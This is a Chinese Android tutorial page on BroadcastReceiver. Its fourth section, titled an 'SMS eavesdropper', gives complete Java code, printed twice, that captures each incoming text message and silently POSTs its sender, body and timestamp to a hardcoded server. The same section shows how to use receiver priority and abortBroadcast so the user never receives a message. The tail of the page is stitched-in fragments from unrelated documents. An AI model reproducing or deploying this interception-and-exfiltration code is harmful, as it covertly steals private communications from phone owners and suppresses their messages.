当前位置:文档之家› Android深入探究笔记之二十 -- 广播接收者

Android深入探究笔记之二十 -- 广播接收者

Android深入探究笔记之二十 -- 广播接收者
Android深入探究笔记之二十 -- 广播接收者

Android深入探究笔记之二十-- 广播接收者,BroadcastReceiver 收藏

1. 概述

广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。

普通广播是完全异步的,可以在同一时刻(逻辑上)被所有接收者接收到,消息传递的效率比较高,

但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播。

然而有序广播是按照接收者声明的优先级别,被接收者依次接收广播。如:A的级别高于B,B的级别高于C,那么,广播先传给A,再传给B,最后传给C 。

优先级别声明在intent-filter 元素的android:priority 属性中,数越大优先级别越高,取值范围:-1000到1000,优先级别也可以调用IntentFilter对象的setPriority()进行设置。

有序广播的接收者可以终止广播Intent的传播,广播Intent的传播一旦终止,后面的接收者就无法接收到广播。

另外,有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往它的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。

Context.sendBroadcast()

发送的是普通广播,所有订阅者都有机会获得并进行处理。

Context.sendOrderedBroadcast()

发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,

前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()),如果广播被前面的接收者终止,

后面的接收者就再也无法获取到广播。

对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象,

然后传给下一个接收者,下一个接收者通过代码:Bundle bundle = getResultExtras(true))可以获取上一个接收者存入在结果对象中的数据。

2.

广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent 的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast() 来实现的。

通常一个广播Intent 可以被订阅了此Intent 的多个广播接收者所接收,这个特性跟JMS 中的Topic 消息接收者类似。

要实现一个广播接收者方法如下:

第一步:继承BroadcastReceiver,并重写onReceive()方法。

public class IncomingSMSReceiver extends BroadcastReceiver {

@Override public void onReceive(Context context, Intent intent) {

}

}

第二步:订阅感兴趣的广播Intent,订阅方法有两种:

第一种:使用代码进行订阅

3.

在Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法,

onReceive() 方法执行完后,BroadcastReceiver 的实例就会被销毁。

当onReceive() 方法在10秒内没有执行完毕,Android会认为该程序无响应。

所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANR (Application No Response)的对话框。

如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service 来完成。

这里不能使用子线程来解决,因为BroadcastReceiver 的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了。

BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死,

因为它属于空进程(没有任何活动组件的进程)。

如果它的宿主进程被杀死,那么正在工作的子线程也会被杀死。所以采用子线程来解决是不可靠的。

4. 实现短信窃听器

* 当短信到来的时候,会发出一个短信到来广播。只要订阅这个广播。就能获取到短信的所有信息。

* 系统收到短信,发出的广播属于有序广播。

如果想阻止用户收到短信,可以通过设置优先级,让你们自定义的接收者先获取到广播,然后终止广播,这样用户就接收不到短信了。

* 新建Android 项目:SMSListener

* 在AndroidManifest.xml 添加相应权限

android:name="android.permission.RECEIVE_SMS"/>

* 新建广播接收者类:IncomingSMSReceiver

view plaincopy to clipboardprint?

/**

* 短信窃听器

*/

public class IncomingSMSReceiver extends BroadcastReceiver { private static final String SMS_RECEIVED =

"android.provider.Telephony.SMS_RECEIVED";

@Override

public void onReceive(Context context, Intent intent) {

String action = intent.getAction();

if(SMS_RECEIVED.equals(action)) {

Bundle bundle = intent.getExtras();

if(bundle != null) {

Object[] pdus = (Object[]) bundle.get("pdus");

for(Object pdu : pdus) {

/* 要特别注意,这里是android.telephony.SmsMessage 可不

是android.telephony.SmsManager */

SmsMessage message =

SmsMessage.createFromPdu((byte[])pdu);

String sender = message.getOriginatingAddress();

String conetnt = message.getMessageBody();

Date date = new Date(message.getTimestampMillis());

SimpleDateFormat dateFormat = new

SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String time = dateFormat.format(date);

sendSMS(sender, conetnt, time);

/* 实现黑名单功能,下面这段代码将5556 发送者的短信屏蔽

* 前提是,本接受者的优先权要高于Android 内置的短信应用程序*/

if("5556".equals(sender)){

abortBroadcast();

}

}

}

}

/**

* 发送拦截的短信到服务器

*/

private void sendSMS(String sender, String conetnt, String time) { try {

/* HTTP 协议的实体数据*/

byte[] entity = getEntity(sender, conetnt, time);

/* 发送的目标地址*/

URL url = new

URL("http://192.168.1.102:8080/myvideoweb/ems.do");

HttpURLConnection conn = (HttpURLConnection)

url.openConnection();

conn.setConnectTimeout(5*1000);

conn.setRequestMethod("POST");

//必须设置此属性为true

conn.setDoOutput(true);

conn.setRequestProperty("Content-Type",

"application/x-www-form-urlencoded");

conn.setRequestProperty("Content-Length",

String.valueOf(entity.length));

OutputStream os = conn.getOutputStream();

os.write(entity);

/* 在此方法之前conn 的数据都是被缓存起来的,并没有真正发送。因此必须要调用这个方法一下。*/

conn.getResponseCode();

os.close();

} catch (Exception e) {

}

}

private byte[] getEntity(String sender, String conetnt, String time) throws Exception {

String params = "method=getSMS&sender="+ sender+"&content="+ URLEncoder.encode(conetnt, "UTF-8")+ "&time="+ time;

return params.getBytes();

}

/**

* 短信窃听器

*/

public class IncomingSMSReceiver extends BroadcastReceiver {

private static final String SMS_RECEIVED =

"android.provider.Telephony.SMS_RECEIVED";

@Override

public void onReceive(Context context, Intent intent) {

String action = intent.getAction();

if(SMS_RECEIVED.equals(action)) {

Bundle bundle = intent.getExtras();

if(bundle != null) {

Object[] pdus = (Object[]) bundle.get("pdus");

for(Object pdu : pdus) {

/* 要特别注意,这里是android.telephony.SmsMessage 可不

是android.telephony.SmsManager */

SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);

String sender = message.getOriginatingAddress();

String conetnt = message.getMessageBody();

Date date = new Date(message.getTimestampMillis());

SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String time = dateFormat.format(date);

sendSMS(sender, conetnt, time);

/* 实现黑名单功能,下面这段代码将5556 发送者的短信屏蔽

* 前提是,本接受者的优先权要高于Android 内置的短信应用程序*/

if("5556".equals(sender)){

abortBroadcast();

}

}

}

}

}

/**

* 发送拦截的短信到服务器

*/

private void sendSMS(String sender, String conetnt, String time) {

try {

/* HTTP 协议的实体数据*/

byte[] entity = getEntity(sender, conetnt, time);

/* 发送的目标地址*/

URL url = new URL("http://192.168.1.102:8080/myvideoweb/ems.do");

HttpURLConnection conn = (HttpURLConnection) url.openConnection();

conn.setConnectTimeout(5*1000);

conn.setRequestMethod("POST");

//必须设置此属性为true

conn.setDoOutput(true);

conn.setRequestProperty("Content-Type",

"application/x-www-form-urlencoded");

conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); OutputStream os = conn.getOutputStream();

os.write(entity);

/* 在此方法之前conn 的数据都是被缓存起来的,并没有真正发送。因此必须要调用这个方法一下。*/

conn.getResponseCode();

os.close();

} catch (Exception e) {

}

}

private byte[] getEntity(String sender, String conetnt, String time) throws Exception {

String params = "method=getSMS&sender="+ sender+"&content="+

URLEncoder.encode(conetnt, "UTF-8")+ "&time="+ time;

return params.getBytes();

}

}

AndroidManifest.xml 的代码清单

view plaincopy to clipboardprint?

package="wjh.android.sms"

android:versionCode="1"

android:versionName="1.0">

android:label="@string/app_name">

android:name="android.provider.Telephony.SMS_RECEIVED" />

package="wjh.android.sms"

android:versionCode="1"

android:versionName="1.0">

android:label="@string/app_name">

4. 其它广播Intent

除了短信到来广播Intent,Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。

** 接收电池电量变化广播Intent ,在AndroidManifest.xml文件中的

节点里订阅此Intent:

android:name="android.intent.action.BATTERY_CHANGED"/>

** 接收开机启动广播Intent,在AndroidManifest.xml文件中的节点里订阅此Intent:

android:name="android.intent.action.BOOT_COMPLETED"/>

并且要进行权限声明:

android:name="android.permission.RECEIVE_BOOT_COMPLETED"/

基于android的简单记事本的设计大学论文

设计报告成绩评定表: 评分内容成绩 系统方案思路合理性(10%) 报告内容的完整性(10%) 硬件原理图及说明(20%) 程序流程图(20%) 程序清单(10%) 调试及结果分析(10%) 系统改进建议或者方案(10%) 格式规范(10%) 总分 备注:以上总分为该组的平均分,根据成员分工具体分数如下。 小组成员分工分数刘志负责代码的编写 云庆负责总计界面的设计与优化 负责整个设计过程中的ppt制作,以及答辩申任翔 吴宜凡负责调试整个程序,报告撰写

基于Android的简单记事本的设计 摘要 本文主要阐述了基于Android的简单记事本的设计与实现,较为系统的介绍了用户通过点击add按钮编辑事件、通过save按钮添加事件,以及在主界面查看事件列表、单击列表查看单个事件的详细内容,和通过长按列表弹出对话框,选择修改事件、删除事件等。本文主要介绍的是运用eclipse软件进行Android 应用的设计,如使用Activity类、运用Intent技术实现页面的跳转、通过数据存储实现标题、时间、内容的保存以及取出查看的功能。通过以上技术使应用中的各项操作简便易懂并且有明确的提示,让用户可以更清晰快捷地掌握该记事本的使用,为用户节省了时间,为用户提供了便利,随时随地都能记录生活。 关键词:Android、记事本、Intent、Activity

目录 绪论 (1) 一丶需求分析和概要设计 (3) 1.1需求分析 (3) 1.2整体要求 (3) 1.3开发工具和环境 (3) 二丶系统设计 (4) 2.1系统设计架构 (4) 2.2界面概述 (5) 2.3模块概述 (6) 三丶系统详细设计 (6) 四丶系统的不足及改进 (9) 五丶总结 (10) 六丶参考文献 (11)

Android开发者学习笔记——View、Canvas、bitmap

开发者学习笔记——View&Canvas BitMap、View以及Canvas是我们Ophone程序中常用到的类。本日以feisky的学习笔记呈现,通过实例讲解View&Canvas等等。 1. 从资源中获取位图 可以使用BitmapDrawable或者BitmapFactory来获取资源中的位图。 当然,首先需要获取资源: Resources res=getResources(); 使用BitmapDrawable获取位图 使用BitmapDrawable (InputStream is)构造一个BitmapDrawable; 使用BitmapDrawable类的getBitmap()获取得到位图; // 读取InputStream并得到位图 InputStream is=res.openRawResource(R.drawable.pic180); BitmapDrawable bmpDraw=new BitmapDrawable(is); Bitmap bmp=bmpDraw.getBitmap(); 或者采用下面的方式: BitmapDrawable bmpDraw=(BitmapDrawable)res.getDrawable(R.drawable.pic180); Bitmap bmp=bmpDraw.getBitmap(); 使用BitmapFactory获取位图 (Creates Bitmap objects from various sources, including files, streams, and byte-arrays.) 使用BitmapFactory类decodeStream(InputStream is)解码位图资源,获取位图。Bitmap bmp=BitmapFactory.decodeResource(res, R.drawable.pic180); BitmapFactory的所有函数都是static,这个辅助类可以通过资源ID、路径、文件、数据流等方式来获取位图。 以上方法在编程的时候可以自由选择,在Android SDK中说明可以支持的图片格式如下:png (preferred), jpg (acceptable), gif (discouraged),和bmp(Android SDK Support Media Format)。

android日记本代码

一、实验详细代码 (1)布局的代码 a.edit.xml代码

相关文档 最新文档